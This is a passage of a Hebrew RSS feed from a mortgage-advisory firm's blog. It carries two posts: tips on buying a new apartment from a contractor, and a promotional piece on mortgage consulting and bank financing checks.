<h2>מה בודקים על הקבלן?</h2>
<p>מאוד פשוט, ראשית אנו ממליצים לקחת ייצוג אישי ולא את הייצוג של הקבלן. זכרו, מטרת משרד עורכי הדין של הקבלן הוא לדאוג לאינטרסים האישיים של הקבלן ופחות של הרוכש. במידה והחלטתם לא לקחת ייצוג צריך לבדוק את הדברים הבאים: נסח טאבו, אישור זכויות, חכירת הקרקע, האם הקבלן רשום בפנקס הקבלנים ובסיווג המתאים לפרוייקט, האם קיים היתר בנייה המראה על גובה הבנייה אותו הקבלן מתעתד לבנות ושיעבודים הרובצים על הקרקע.</p>
<h2>בנק מלווה, אני חייב?</h2>
<p>ראשית, מומלץ מאוד לפנות לקבלנים המלווים על ידי בנק והתשלומים ישולמו ישירות לטובת חשבון הליווי וכל תשלום ישולם על ידי שובר. דבר שכזה מבטיח לנו את הערבות על הכסף אותו שילמנו (עד 7% ניתן לשלם ללא קבלת ערבות) את הערבות אתם אמורים לקבל תוך 14 יום מיום התשלום בפועל. חשוב להדגיש כי קבלנים מנסים לגלגל את הוצאת הליווי על הלקוח&#8230; שימו לב&#8230;</p>
<h2>מפרט טכני</h2>
<p>חשוב מאוד לקרוא היטב את המפרט היות וכל האביזרים אותם אנו עתידים לקבל מופיעים שם לרבות שינויים עתידיים בתוכן הדירה. המפרט יכיל איזה דוד נקבל, מתגים חשמליים, נק' מים, הזזת נקודות, גודל הריצוף, מרפסת וכיו&quot;ב. זכרו כי המפרט הינו חלק חשוב מאוד מבחינת מו&quot;מ ודרכו ניתן לדבר תוספות מהקבלן כמו מזגן, הכנות למזגן, נק' חשמל נוספות, מטבח משופר. זכרו כי אם תתפסו את הדברים האלה לפני חתימה על הסכם, תוכלו לחסוך עשרות וגם מאות אלפי שקלים.</p>
<h2>הוצאות נוספות בתהליך</h2>
<p>חשוב לדעת כי על מחיר הדירה יש הוצאות משפטיות שיכולות להגיע לכמה עשרות אלפי שקלים. בגדול, ההוצאות האלה ישולמו למשרד המייצג או לרשויות אך אתם חייבים לדעת מזה: שכ&quot;ט עו&quot;ד, מס רכישה, אגרות רישום בית משותף, אגרות רישום בתהליך, חיבורי חשמל גז ומים בכניסה, ייפוי כוח נוטריונים וכיו&quot;ב</p>
<h2>מדדים</h2>
<p>קבלנים נוהגים בד&quot;כ להצמיד את החוב הפתוח למדד תשומות הבנייה או מחירים לצרכן. חשוב להבין כי ככל שהחוב מול הקבלן גדול יותר, כך אנו בסיכון גדול יותר. ומצד שני אם יש ליווי ניתן לשלם את מלוא מחיר הדירה גם אם הכניסה תהיה בעוד שנתיים, להחלטה שכזאת חייבים להתייעץ עם <a href="http://lahav-f.org.il/%D7%99%D7%99%D7%A2%D7%95%D7%A5-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90%D7%95%D7%AA-2/">יועץ משכנתאות</a> פרטי שיראה לנו את היתרונות והחסרונות בתשלום לקבלן.</p>
<h2>מה קורה במקרה של הפרת הסכם?</h2>
<p>ראשית בואו נבין מהיא הפרת הסכם. כאשר אנו מתחייבים לצד ג' על תשלומים, צריך לעמוד בהם ולא משנה מה קורה בדרך. הפרות הסכם זה דבר שכיח מאוד היות והבנקים מקשיחים עמדות ונוטלי המשכנתאות לא עושים את הבירורים הנכונים לפני שמתחייבים לקבלן. לכן, חשוב מאוד שנהיה מכוסים מכל הצדדים למצב של אם וכאשר&#8230; חשוב לבדוק כי סעיף ההפרה הוא הדדי (גם הקבלן יכול להפר) ומה קורה במצב שהקבלן מאחר במסירת החזקה? בדקו כי יש סעיף המגן עליכם במצב של איחור מעבר ל60 המקובלים אחרת, תוכלו למצוא את עצמכם ללא קורת גג לתקופת המעבר. אנו ממליצים להפחית עד כמה שאפר את הפיצוי מצדכם ולדאוג כי במקרה של הפרה לא תשלמו סכום גדול ותוכלו לצאת מההסכם.</p>
<h2>לסיום:</h2>
<p>רכישת דירה היא אחת העסקאות המורכבות והגדולות שנעבור, בעלי מקצוע שנשכור לתהליך יכולים לחסוך לנו עשרות ואף מאות אלפי שקלים בתהליך. חוסר המודעות או אמונה מלאה בקבלן כי &quot;חבר קנה והיה מרוצה&quot; יכולים לגרום לנו להפסדי כסף ענקיים ותש' פיצוי מוסכם על משהו שאיננו אשמים אך לא ידענו. כאשר בוחרים בעלי מקצוע כמו יועץ משכנתאות או עו&quot;ד נדלן מטעמנו בדקו המלצות והאם אותם בעלי מקצוע מכירים לעומק את הפרוייקט אותו אנו מתעתדים לרכוש.</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%98%d7%99%d7%a4%d7%99%d7%9d-%d7%9c%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%99%d7%93-%d7%a8%d7%90%d7%a9%d7%95%d7%a0%d7%94-%d7%9e%d7%a7%d7%91%d7%9c%d7%9f/">טיפים לרכישת דירה יד ראשונה מקבלן</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%98%d7%99%d7%a4%d7%99%d7%9d-%d7%9c%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%99%d7%93-%d7%a8%d7%90%d7%a9%d7%95%d7%a0%d7%94-%d7%9e%d7%a7%d7%91%d7%9c%d7%9f/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>ייעוץ משכנתאות</title>
		<link>https://lahav-f.org.il/%d7%99%d7%99%d7%a2%d7%95%d7%a5-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90%d7%95%d7%aa-2/</link>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Tue, 03 Jun 2014 17:34:53 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[יועץ משכנתאות]]></category>
		<category><![CDATA[ייעוץ משכנתאות]]></category>
		<category><![CDATA[משכנתא למסורבים]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=2831</guid>

					<description><![CDATA[<p>ייעוץ משכנתאות כפי שנוכל להבין, ייעוץ בנוגע למשכנתה אותה אנו עתידים לקחת מרכיב בתוכו כמה פרמטרים. האחד- המטרות והיעדים שלנו ברכישת הבית. בראש ובראשונה עלינו להפנים את גודלה של ההלוואה עמה אנו הולכים להתמודד במשך התקופה. לאחר מכן, נצטרך להבין לעומקו של עניין מהו גובה התקציב העומד לרשותנו בנקודת הזמן הנוכחית, לשער כיצד אנו נוכל [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%99%d7%99%d7%a2%d7%95%d7%a5-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90%d7%95%d7%aa-2/">ייעוץ משכנתאות</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img fetchpriority="high" decoding="async" class="alignnone wp-image-602 size-full" src="http://lahav-f.org.il/wp-content/uploads/2019/02/Slider33.jpg" alt="" width="1900" height="700" srcset="https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33.jpg 1900w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-800x295.jpg 800w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-768x283.jpg 768w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-1400x516.jpg 1400w, https://lahav-f.org.il/wp-content/uploads/2019/02/Slider33-600x221.jpg 600w" sizes="(max-width: 1900px) 100vw, 1900px" /></p>
<h2>ייעוץ משכנתאות</h2>
<p>כפי שנוכל להבין, ייעוץ בנוגע למשכנתה אותה אנו עתידים לקחת מרכיב בתוכו כמה פרמטרים. האחד- המטרות והיעדים שלנו ברכישת הבית. בראש ובראשונה עלינו להפנים את גודלה של ההלוואה עמה אנו הולכים להתמודד במשך התקופה. לאחר מכן, נצטרך להבין לעומקו של עניין מהו גובה התקציב העומד לרשותנו בנקודת הזמן הנוכחית, לשער כיצד אנו נוכל לעמוד בהתחייבויות המשכנתה אותה ניקח ולבסוף – מה תהיה דרך החזרת התשלומים הנוחה והמשתלמת ביותר? את כל זאת ועוד נקבל במהלך ייעוץ משכנתאות לו נהיה כפופים.<br />
כמו כן רצוי כי תמיד נשאף לקבל ייעוץ מפי אנשים מנוסים וותיקים בעולם זה. למרות כי גילם של היועצים איננו מעיד דבר על מקצועיותם והשכלתם, ברוב המקרים תעלה שאלת הניסיון הרלוונטי אותו יועץ המשכנתאות צבר במהלך תקופתו במקצוע. קבלת המלצות מפי גורמים עליהם אנו סומכים תהיה קלף שייטה את הכף בנוגע להחלטתנו בעתיד.</p>
<p>יחד עם זאת, בעת שמיעת ייעוץ משכנתאות מפי אנשי המקצוע, ניתן יהיה להבין עד כמה פרטים אליהם לא היינו מודעים כלל נחשבים מהותיים וקריטיים בטרם ניקח את ההלוואה מהבנק או הבנקים השונים. גם נושאים אותם הכרנו יהפכו להיות ברורים הרבה יותר . על כן קיימת חשיבות רבה לקבלת ייעוץ ברור מופשט וכזה היורד לרזולוציות גבוהות ככל שניתן. אם נדבוק בכך נוכל לקהל את המעמסה הכרוכה בדרך לרכישת הבית החדש וגם נחסוך בעלויות רבות במשך השנים הבאות לבוא.</p>
<p>בשנים האחרונות נושא הנדל&quot;ן במדינת ישראל נהיה שיחת סלון המרחיק שנות אור מאלפי זוגות צעירים.<br />
רבים מאיתנו נעזרים בהורים או בקרובים כדי להגיע לאותו נכס מבוקש.<br />
בנק ישראל הקשיח את התנאים לשילוב ערב מקרבה ראשונה בכך שהוא בוחן לעומק את יחס ההחזר שלו בעט לקיחת ההלוואה.<br />
חשוב להדגיש, כי הבדיקות הקפדניות שהבנק עושה זה אך ורק כדי להגן על עצמו ממצב של מימון הנכס.<br />
לשם דוגמא קיימים גופים פיננסים שלא מאשרים הלוואה באחוז מימון מקסימלי על נכסים הגבוהים מקומה שלישית ללא מעלית.<br />
החשש הגדול הוא ברגע שהלווה לא ישלם יצטרכו לפנות אותו, ולממשו.<br />
החשש הגדול של אותו תאגיד היא הטענה שנכס הממוקם בקומה שלישית ורביעית ללא מעלית הם אינם נכסים סחירים לעומת נכסית בקומות נמוכות יותר.<br />
חשוב מאוד לפני שנכנסים להסכם מכר לבדוק לעומק את נושא רישום הנכס(נכסים שלא רשומים בצורה חזקה יכולים לקבל סירוב למימון מקסימלי).<br />
מקרה כזה יכול להזיק לאותו לווה שחפץ במימון מקסימלי אך סורב בגלל רישום לקוי של הנכס.<br />
המצלתנו:<br />
בדקו לעומק וקבלו הסברים מהעו&quot;ד על כל הערות האזהרה הרובצות על הנכס<br />
בידקו עם שמאי מקרקעין מוסמך ששומתו מקובלת על הבנקים על זיהוי מוחלט של הנכס.חריגות בנייה.בנייה ללא רשיון.</p>
<p>בדיקות אלה יכולים לחסוך לכם עוגמת נפש והפסד כסף רב</p>
<p>להב משכנתאות ופיננסים<br />
החברה <a href="http://lahav-f.org.il/%d7%99%d7%99%d7%a2%d7%95%d7%a5-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90%d7%95%d7%aa-2/">ייעוץ משכנתאות</a> ופיננסים</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%99%d7%99%d7%a2%d7%95%d7%a5-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90%d7%95%d7%aa-2/">ייעוץ משכנתאות</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>